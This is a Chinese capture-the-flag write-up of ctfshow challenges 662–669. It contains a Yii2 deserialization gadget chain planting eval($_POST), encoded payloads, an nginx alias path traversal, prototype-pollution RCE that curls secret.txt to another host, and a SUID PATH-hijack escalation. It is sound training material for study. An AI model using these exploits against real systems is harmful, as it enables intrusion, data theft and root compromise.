error_log /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log warn;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
log_format main '[$time_local]:$remote_addr-$request-$status';
access_log /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log main;
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location /public {
autoindex on;
alias /public/;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
server {
listen 8888;
server_name oa;
root /var/oa/web;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location /{
index index.php;
autoindex off;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
}
662、663
663信息:
curl 172.2.119.5/public../home/www-data/creater.sh
#!/bin/sh
file=`echo $RANDOM|md5sum|cut -c 1-3`.html
echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$file
把663的flag生成到/var/www/html
下的html里,文件名是随机三位,爆破一下
不过为什么是662。。。
在664需要663的flag,试了一下这个,,发现可用,原来二者是同一个hh
664
curl 172.2.119.5/public../var/oa/
存在flag664.php
在nginx查到服务端口是8888,访问之:
yii框架,有个反序列化~
随便传了一下
curl -d "_csrf=JZ82CCjQXxEmCzTOqGRBIKbh9-eCBySbUZGw7SM4RvAX8V19f48uQVJ6WouQNyZ_xK2kouZ0RqsUx8TYF18MtQ==" -d "UnserializeForm[ctfshowUnserializeData]=aaaaa" "172.2.78.5:8888/index.php?r=site/unserialize"
需要663的flag作key才行
1=echo `curl -d "_csrf=JZ82CCjQXxEmCzTOqGRBIKbh9-eCBySbUZGw7SM4RvAX8V19f48uQVJ6WouQNyZ_xK2kouZ0RqsUx8TYF18MtQ==" -d "UnserializeForm[ctfshowUnserializeData]=反序列化数据" "172.2.78.5:8888/index.php?r=site/unserialize%26key=flag_663=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}"`;
636、637、638、639
正好平台有yii的专题,学习了一波
学习文章:
奇安信攻防社区-Yii2.0.42反序列化分析(一) (butian.net)
奇安信攻防社区-Yii2.0.42反序列化分析(二) (butian.net)
要注意的是后面两个链子需要:opis/closure: Serialize closures (anonymous functions) (github.com)
这里用的是第四个链子:
<?php
/***
* Created by joker
* Date 2021/9/19 18:01
***/
namespace Codeception\Extension;
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('joker');
}
}
namespace Faker;
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
namespace GuzzleHttp\Psr7;
use Codeception\Extension\RunProcess;
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("C:\\Users\\11634\\Desktop\\closure-master\\autoload.php");
$a = function(){eval($_POST[1]);};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
$a = new RunProcess();
echo urlencode(serialize($a));
然后就能rce了:
在终极考核这碰到了问题-,就是传参的时候,因为是通过第一台跳板机curl来传参,curl本身是没问题的;问题出在php执行系统命令时如果检测到空字节就会报错。
这里就着传参问题问了一下g4师傅,可以尝试把命令base64编码一下
经过尝试,可以像这样整:
echo shell_exec('`echo bHMK | base64 -d`');
但还是不太方便操作,就想着只编码反序列化数据那部分
尝试使用系统变量,像这样:
a=MTIzCg==; curl 10.1.125.120/mytest/test2.php -d "a=`echo "$a" | base64 -d`"
(注意{}要加上转义符\,不然就无法触发反序列化了)
1=
echo shell_exec('a=TyUzQTMyJTNBJTIyQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwb3V0cHV0JTIyJTNCTyUzQTIyJTNBJTIyRmFrZXIlNUNEZWZhdWx0R2VuZXJhdG9yJTIyJTNBMSUzQSU3QnMlM0ExMCUzQSUyMiUwMCUyQSUwMGRlZmF1bHQlMjIlM0JzJTNBNSUzQSUyMmpva2VyJTIyJTNCJTdEcyUzQTQzJTNBJTIyJTAwQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTAwcHJvY2Vzc2VzJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCTyUzQTI4JTNBJTIyR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMjIlM0EyJTNBJTdCcyUzQTM3JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzdHJlYW1zJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyOSUzQSUyMkd1enpsZUh0dHAlNUNQc3I3JTVDQ2FjaGluZ1N0cmVhbSUyMiUzQTIlM0ElN0JzJTNBNDMlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q0NhY2hpbmdTdHJlYW0lMDByZW1vdGVTdHJlYW0lMjIlM0JPJTNBMjIlM0ElMjJGYWtlciU1Q0RlZmF1bHRHZW5lcmF0b3IlMjIlM0ExJTNBJTdCcyUzQTEwJTNBJTIyJTAwJTJBJTAwZGVmYXVsdCUyMiUzQmIlM0EwJTNCJTdEcyUzQTYlM0ElMjJzdHJlYW0lMjIlM0JPJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0EzJTNBJTdCcyUzQTM0JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNQdW1wU3RyZWFtJTAwc291cmNlJTIyJTNCQyUzQTMyJTNBJTIyT3BpcyU1Q0Nsb3N1cmUlNUNTZXJpYWxpemFibGVDbG9zdXJlJTIyJTNBMTgzJTNBJTdCYSUzQTUlM0ElN0JzJTNBMyUzQSUyMnVzZSUyMiUzQmElM0EwJTNBJTdCJTdEcyUzQTglM0ElMjJmdW5jdGlvbiUyMiUzQnMlM0EyOCUzQSUyMmZ1bmN0aW9uJTI4JTI5JTdCZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiU3RCUyMiUzQnMlM0E1JTNBJTIyc2NvcGUlMjIlM0JzJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0JzJTNBNCUzQSUyMnRoaXMlMjIlM0JOJTNCcyUzQTQlM0ElMjJzZWxmJTIyJTNCcyUzQTMyJTNBJTIyMDAwMDAwMDAyOTUxNDVkZTAwMDAwMDAwMDZlOWY1OTElMjIlM0IlN0QlN0RzJTNBMzIlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMDBzaXplJTIyJTNCaSUzQS0xMCUzQnMlM0EzNCUzQSUyMiUwMEd1enpsZUh0dHAlNUNQc3I3JTVDUHVtcFN0cmVhbSUwMGJ1ZmZlciUyMiUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCcyUzQTElM0ElMjJqJTIyJTNCJTdEJTdEJTdEJTdEcyUzQTM4JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzZWVrYWJsZSUyMiUzQmIlM0ExJTNCJTdEJTdEJTdEJTdE;
curl "172.2.133.5:8888/index.php?r=site/unserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "_csrf=a_NNxLPrVGtxteT6o7pCERw2sYqscNEGH2iLxPyQTAYtoA-OnogXHDbfio7GyXUnX0frsvQBqDAuXsy9kfQePw==" -d "UnserializeForm[ctfshowUnserializeData]=`echo "$a" | base64 -d`" -d "1=phpinfo();"
');
可以完美避免引号的问题~,终于打通了!!!!
伪协议读flag664.php源码:
1=
echo shell_exec('a=TyUzQTMyJTNBJTIyQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwb3V0cHV0JTIyJTNCTyUzQTIyJTNBJTIyRmFrZXIlNUNEZWZhdWx0R2VuZXJhdG9yJTIyJTNBMSUzQSU3QnMlM0ExMCUzQSUyMiUwMCUyQSUwMGRlZmF1bHQlMjIlM0JzJTNBNSUzQSUyMmpva2VyJTIyJTNCJTdEcyUzQTQzJTNBJTIyJTAwQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTAwcHJvY2Vzc2VzJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCTyUzQTI4JTNBJTIyR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMjIlM0EyJTNBJTdCcyUzQTM3JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzdHJlYW1zJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyOSUzQSUyMkd1enpsZUh0dHAlNUNQc3I3JTVDQ2FjaGluZ1N0cmVhbSUyMiUzQTIlM0ElN0JzJTNBNDMlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q0NhY2hpbmdTdHJlYW0lMDByZW1vdGVTdHJlYW0lMjIlM0JPJTNBMjIlM0ElMjJGYWtlciU1Q0RlZmF1bHRHZW5lcmF0b3IlMjIlM0ExJTNBJTdCcyUzQTEwJTNBJTIyJTAwJTJBJTAwZGVmYXVsdCUyMiUzQmIlM0EwJTNCJTdEcyUzQTYlM0ElMjJzdHJlYW0lMjIlM0JPJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0EzJTNBJTdCcyUzQTM0JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNQdW1wU3RyZWFtJTAwc291cmNlJTIyJTNCQyUzQTMyJTNBJTIyT3BpcyU1Q0Nsb3N1cmUlNUNTZXJpYWxpemFibGVDbG9zdXJlJTIyJTNBMTgzJTNBJTdCYSUzQTUlM0ElN0JzJTNBMyUzQSUyMnVzZSUyMiUzQmElM0EwJTNBJTdCJTdEcyUzQTglM0ElMjJmdW5jdGlvbiUyMiUzQnMlM0EyOCUzQSUyMmZ1bmN0aW9uJTI4JTI5JTdCZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiU3RCUyMiUzQnMlM0E1JTNBJTIyc2NvcGUlMjIlM0JzJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0JzJTNBNCUzQSUyMnRoaXMlMjIlM0JOJTNCcyUzQTQlM0ElMjJzZWxmJTIyJTNCcyUzQTMyJTNBJTIyMDAwMDAwMDAyOTUxNDVkZTAwMDAwMDAwMDZlOWY1OTElMjIlM0IlN0QlN0RzJTNBMzIlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMDBzaXplJTIyJTNCaSUzQS0xMCUzQnMlM0EzNCUzQSUyMiUwMEd1enpsZUh0dHAlNUNQc3I3JTVDUHVtcFN0cmVhbSUwMGJ1ZmZlciUyMiUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCcyUzQTElM0ElMjJqJTIyJTNCJTdEJTdEJTdEJTdEcyUzQTM4JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzZWVrYWJsZSUyMiUzQmIlM0ExJTNCJTdEJTdEJTdEJTdE;
b=aW5jbHVkZSgicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0uLi9mbGFnNjY0LnBocCIpOwo=;
curl "172.2.133.5:8888/index.php?r=site/unserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "_csrf=a_NNxLPrVGtxteT6o7pCERw2sYqscNEGH2iLxPyQTAYtoA-OnogXHDbfio7GyXUnX0frsvQBqDAuXsy9kfQePw==" -d "UnserializeForm[ctfshowUnserializeData]=`echo "$a" | base64 -d`" -d "1=`echo "$b" | base64 -d`phpinfo();"
');
665
把getflag下下来,丢ida里看看:
应该是后面留着提权的提权,然后获得flag665内容 不过之前已经用nginx目录穿越拿到了:
665
curl 172.2.119.5/public../FLAG665
666
一开始没找到,
猜测是在数据库里,引用一下数据库文件:
include '/var/www/html/dbutil.php';
$ret=db::query($_POST[2]);
var_dump($ret);
1=
echo shell_exec('a=TyUzQTMyJTNBJTIyQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwb3V0cHV0JTIyJTNCTyUzQTIyJTNBJTIyRmFrZXIlNUNEZWZhdWx0R2VuZXJhdG9yJTIyJTNBMSUzQSU3QnMlM0ExMCUzQSUyMiUwMCUyQSUwMGRlZmF1bHQlMjIlM0JzJTNBNSUzQSUyMmpva2VyJTIyJTNCJTdEcyUzQTQzJTNBJTIyJTAwQ29kZWNlcHRpb24lNUNFeHRlbnNpb24lNUNSdW5Qcm9jZXNzJTAwcHJvY2Vzc2VzJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCTyUzQTI4JTNBJTIyR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMjIlM0EyJTNBJTdCcyUzQTM3JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzdHJlYW1zJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQk8lM0EyOSUzQSUyMkd1enpsZUh0dHAlNUNQc3I3JTVDQ2FjaGluZ1N0cmVhbSUyMiUzQTIlM0ElN0JzJTNBNDMlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q0NhY2hpbmdTdHJlYW0lMDByZW1vdGVTdHJlYW0lMjIlM0JPJTNBMjIlM0ElMjJGYWtlciU1Q0RlZmF1bHRHZW5lcmF0b3IlMjIlM0ExJTNBJTdCcyUzQTEwJTNBJTIyJTAwJTJBJTAwZGVmYXVsdCUyMiUzQmIlM0EwJTNCJTdEcyUzQTYlM0ElMjJzdHJlYW0lMjIlM0JPJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0EzJTNBJTdCcyUzQTM0JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNQdW1wU3RyZWFtJTAwc291cmNlJTIyJTNCQyUzQTMyJTNBJTIyT3BpcyU1Q0Nsb3N1cmUlNUNTZXJpYWxpemFibGVDbG9zdXJlJTIyJTNBMTgzJTNBJTdCYSUzQTUlM0ElN0JzJTNBMyUzQSUyMnVzZSUyMiUzQmElM0EwJTNBJTdCJTdEcyUzQTglM0ElMjJmdW5jdGlvbiUyMiUzQnMlM0EyOCUzQSUyMmZ1bmN0aW9uJTI4JTI5JTdCZXZhbCUyOCUyNF9QT1NUJTVCMSU1RCUyOSUzQiU3RCUyMiUzQnMlM0E1JTNBJTIyc2NvcGUlMjIlM0JzJTNBMjYlM0ElMjJHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMjIlM0JzJTNBNCUzQSUyMnRoaXMlMjIlM0JOJTNCcyUzQTQlM0ElMjJzZWxmJTIyJTNCcyUzQTMyJTNBJTIyMDAwMDAwMDAyOTUxNDVkZTAwMDAwMDAwMDZlOWY1OTElMjIlM0IlN0QlN0RzJTNBMzIlM0ElMjIlMDBHdXp6bGVIdHRwJTVDUHNyNyU1Q1B1bXBTdHJlYW0lMDBzaXplJTIyJTNCaSUzQS0xMCUzQnMlM0EzNCUzQSUyMiUwMEd1enpsZUh0dHAlNUNQc3I3JTVDUHVtcFN0cmVhbSUwMGJ1ZmZlciUyMiUzQk8lM0EyMiUzQSUyMkZha2VyJTVDRGVmYXVsdEdlbmVyYXRvciUyMiUzQTElM0ElN0JzJTNBMTAlM0ElMjIlMDAlMkElMDBkZWZhdWx0JTIyJTNCcyUzQTElM0ElMjJqJTIyJTNCJTdEJTdEJTdEJTdEcyUzQTM4JTNBJTIyJTAwR3V6emxlSHR0cCU1Q1BzcjclNUNBcHBlbmRTdHJlYW0lMDBzZWVrYWJsZSUyMiUzQmIlM0ExJTNCJTdEJTdEJTdEJTdE;
b=aW5jbHVkZSAnL3Zhci93d3cvaHRtbC9kYnV0aWwucGhwJzsNCiRyZXQ9ZGI6OnF1ZXJ5KCRfUE9TVFsyXSk7DQp2YXJfZHVtcCgkcmV0KTs=;
curl "172.2.133.5:8888/index.php?r=site/unserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "_csrf=a_NNxLPrVGtxteT6o7pCERw2sYqscNEGH2iLxPyQTAYtoA-OnogXHDbfio7GyXUnX0frsvQBqDAuXsy9kfQePw==" -d "UnserializeForm[ctfshowUnserializeData]=`echo "$a" | base64 -d`" -d "1=`echo "$b" | base64 -d`phpinfo();" -d "2=select * from ctfshow_secret;"
');
确实在
667
之前nginx看目录的时候看到/home目录下有node,尝试访问3000端口
668
hint:
/login
utils.copy(user.userinfo,req.body);
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
有点眼熟,感觉像之前做过的nodejs部分的
但是这里反弹shell的话只能弹到第一台机子,
第一台机子的busybox是带有nc的,但是不出网而且只开80,差点又在这整半天了
想到他有个日志,可以尝试curl他带过去
1=echo `curl 172.2.105.5/public..//var/log/nginx/ctfshow_web_access_log_file_you_never_know.log`;
payload:(要注意修改ip~)
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"curl 172.2.239.5/index.php?u=`cat ./secret.txt`\"')"}}}
1=echo shell_exec('a=eyJfX3Byb3RvX18iOnsiX19wcm90b19fIjp7ImNvbXBpbGVEZWJ1ZyI6MSwidHlwZSI6IkNvZGUiLCJzZWxmIjoxLCJsaW5lIjoiZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2Jhc2ggLWMgXCJjdXJsIDE3Mi4yLjIzOS41L2luZGV4LnBocD91PWBjYXQgLi9zZWNyZXQudHh0YFwiJykifX19;
curl "172.2.239.5:3000/login" -H "Content-Type: application/json" -d "`echo "$a" | base64 -d`"');
最终:
669
虽然没到,但应该是利用根目录下的那个getflag提权,进root目录下
# 查找具有suid权限的命令:
find / -user root -perm -4000 -print 2>/dev/null
虽然猜测getflag就是有这个权限的,但稳妥起见
但因为输出结果是多行的,可以用sed命令将多行显示为1行,也可以用grep
sed -e ':a;N;s/\n//;ta'
find / -user root -perm -4000 -print 2>/dev/null | grep | getflag
将getflag和FLAG665拷到第一台机子模拟一下操作,可以成功提权:
(网站权限所有者理所当然对网站目录有所有权限,因此可以chmod777)
echo 'ls /root/' > cat && chmod 777 cat && export PATH=.:$PATH && /getflag
那么就是把payload打过去了,要注意构造json语法。。,当然也可以尝试base64
1、将命令base64
curl 172.2.29.5/index.php?u=`echo ls /root/ > cat && chmod 777 cat && export PATH=.:$PATH && /getflag`
2、将结果外带即可
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('eval `echo Y3VybCAxNzIuMi4yOS41L2luZGV4LnBocD91PWBlY2hvIGxzIC9yb290LyA+IGNhdCAmJiBjaG1vZCA3NzcgY2F0ICYmIGV4cG9ydCBQQVRIPS46JFBBVEggJiYgL2dldGZsYWdg | base64 -d`')"}}}
3、传入
1=echo shell_exec('a=eyJfX3Byb3RvX18iOnsiX19wcm90b19fIjp7ImNvbXBpbGVEZWJ1ZyI6MSwidHlwZSI6IkNvZGUiLCJzZWxmIjoxLCJsaW5lIjoiZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2V2YWwgYGVjaG8gWTNWeWJDQXhOekl1TWk0eU9TNDFMMmx1WkdWNExuQm9jRDkxUFdCbFkyaHZJR3h6SUM5eWIyOTBMeUErSUdOaGRDQW1KaUJqYUcxdlpDQTNOemNnWTJGMElDWW1JR1Y0Y0c5eWRDQlFRVlJJUFM0NkpGQkJWRWdnSmlZZ0wyZGxkR1pzWVdkZyB8IGJhc2U2NCAtZGAnKSJ9fX0=;
curl "172.2.29.5:3000/login" -H "Content-Type: application/json" -d "`echo "$a" | base64 -d`"');
成功提权,接下来读其中内容即可
1、
curl 172.2.204.5/index.php?u=`echo 'more /root/* > /tmp/win.txt; chmod 777 /tmp/win.txt' > cat && chmod 777 cat && export PATH=.:$PATH && /getflag`
2、
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('eval `echo Y3VybCAxNzIuMi4yMDQuNS9pbmRleC5waHA/dT1gZWNobyAnbW9yZSAvcm9vdC8qID4gL3RtcC93aW4udHh0OyBjaG1vZCA3NzcgL3RtcC93aW4udHh0JyA+IGNhdCAmJiBjaG1vZCA3NzcgY2F0ICYmIGV4cG9ydCBQQVRIPS46JFBBVEggJiYgL2dldGZsYWdg | base64 -d`')"}}}
3、
1=echo shell_exec('a=eyJfX3Byb3RvX18iOnsiX19wcm90b19fIjp7ImNvbXBpbGVEZWJ1ZyI6MSwidHlwZSI6IkNvZGUiLCJzZWxmIjoxLCJsaW5lIjoiZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2V2YWwgYGVjaG8gWTNWeWJDQXhOekl1TWk0eU1EUXVOUzlwYm1SbGVDNXdhSEEvZFQxZ1pXTm9ieUFuYlc5eVpTQXZjbTl2ZEM4cUlENGdMM1J0Y0M5M2FXNHVkSGgwT3lCamFHMXZaQ0EzTnpjZ0wzUnRjQzkzYVc0dWRIaDBKeUErSUdOaGRDQW1KaUJqYUcxdlpDQTNOemNnWTJGMElDWW1JR1Y0Y0c5eWRDQlFRVlJJUFM0NkpGQkJWRWdnSmlZZ0wyZGxkR1pzWVdkZyB8IGJhc2U2NCAtZGAnKSJ9fX0=;
curl "172.2.204.5:3000/login" -H "Content-Type: application/json" -d "`echo "$a" | base64 -d`"');
后话
恭喜你已经拿到了第二个服务器的最高权限,师傅太强了! 你能在未知的网络空间里,抽丝剥茧,层层渗透进来,足以证明你拥有高超的技术实力和旁人不具有的坚韧意志 希望你坚持下去,坚持你的热爱,坚持你喜欢的事情,我想,总有一天,你将获得百倍的回报,并让你受用终身 此刻的坚持,是未来发出的光!
ctfshow 大菜鸡 2021年8月7日 04:39
磨磨蹭蹭的完成了,第一台机子刚出就用ping的非预期打了一部分,后来群主修复后又重新做了一下,断断续续做到第一台机子的提权部分,但始终无果;后面就一拖再拖,也多亏了yuntian师傅的提醒才找到方向。
最近看到很多师傅完成了,碰巧最近把课设做完有了一点空闲时间,就想着尝试一波。这里特别要感谢群主大大以及yuntian师傅和g4师傅,给我的鼓励和帮助。
对我个人来说困难的点主要是这三个吧:
一是第一台机子提权,因为搜索的方向始终不对。。最后是问了yuntian师傅才找到方向,万分感谢,可以说没有这一步我也根本无法完成终极考核了
二是进内网的时候,一直惯性思维想用msf这类东西,(其实实践已经发现是不出网主机了)后面询问了群主大大才停下这个行为。。
三就是传参了,因为各种引号以及格式问题,构造payload是要非常仔细的,这里要感谢g4师傅的建议,体会到编码的好处,可以说学到了新姿势吧
其实最大的难点是打破打靶场靶机的惯性思维以及对工具的依赖; 思路转过来之后就顺水推舟了,好好利用拿下的每一个地方和收集到的信息,前面打过的东西说不准能在后面用上~
入门至今不知不觉也满一年了,算不上出类拔萃,但一直在路上。 那就提前祝师傅们新年快乐吧~